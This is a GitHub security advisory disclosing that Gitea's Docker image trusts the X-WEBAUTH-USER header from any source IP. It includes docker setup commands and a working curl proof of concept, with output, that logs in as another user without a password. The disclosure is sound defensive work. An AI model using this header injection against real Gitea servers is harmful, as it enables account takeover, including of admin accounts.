Gitea Docker image: default lets any source IP impersonate any user

Code

Issues1.9k (1.9k)

Pull requests238 (238)

Actions

Security and quality155 (155)

Insights

More items

gitea

Security

Advisories

GHSA-f75j-4cw6-rmx4

Gitea Docker image: REVERSE_PROXY_TRUSTED_PROXIES = * default lets any source IP impersonate any user via X-WEBAUTH-USER

Critical

bircni published GHSA-f75j-4cw6-rmx4 Jun 21, 2026

Package

gomod

code.gitea.io/gitea (Go)

Affected versions

<=1.26.2

Patched versions

1.26.3

Description

Hi guys, I would like to file a vulnerability I found in the default Gitea docker image, which allows impersonation of users with a single header

The Gitea Docker images ship an app.ini template that hard-codes:

REVERSE_PROXY_TRUSTED_PROXIES = *

The documented default for this setting, in custom/conf/app.example.ini, is 127.0.0.0/8,::1/128, i.e. only loopback is trusted.

When an admin enables ENABLE_REVERSE_PROXY_AUTHENTICATION = true to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts X-WEBAUTH-USER from any source IP that can reach the container.

Binary distribution and self-built deployments that follow app.example.ini get the loopback-only default and are not affected.

docker run -d --name g -p 3000:3000
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true
-e GITEA__security__INSTALL_LOCK=true
gitea/gitea:1.26.2

sleep 15 docker exec --user git g gitea admin user create
--username alice --password "longpasswordhere1234"
--email alice@x.test --must-change-password=false

Now the attack::

curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/
| grep -oE '<title>[^<]+</title>'

Output: <title>alice - Dashboard - Gitea: Git with a cup of tea</title> — attacker is logged in as alice with one header, no password, no cookie.

Same payload with X-WEBAUTH-USER: <any_existing_username> impersonates that user.

Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (admin, gitea_admin, etc.) are the obvious targets.

I responsibly didn't test this against live targets, I prefer to disclose to you first before somebody does. It might even be worse if the admin additionally enables ENABLE_REVERSE_PROXY_AUTO_REGISTRATION, the same primitive lets the attacker create new accounts at will with any chosen username.

I will provide a poc.sh to be able to run resproduce the exploit with a single ./poc.sh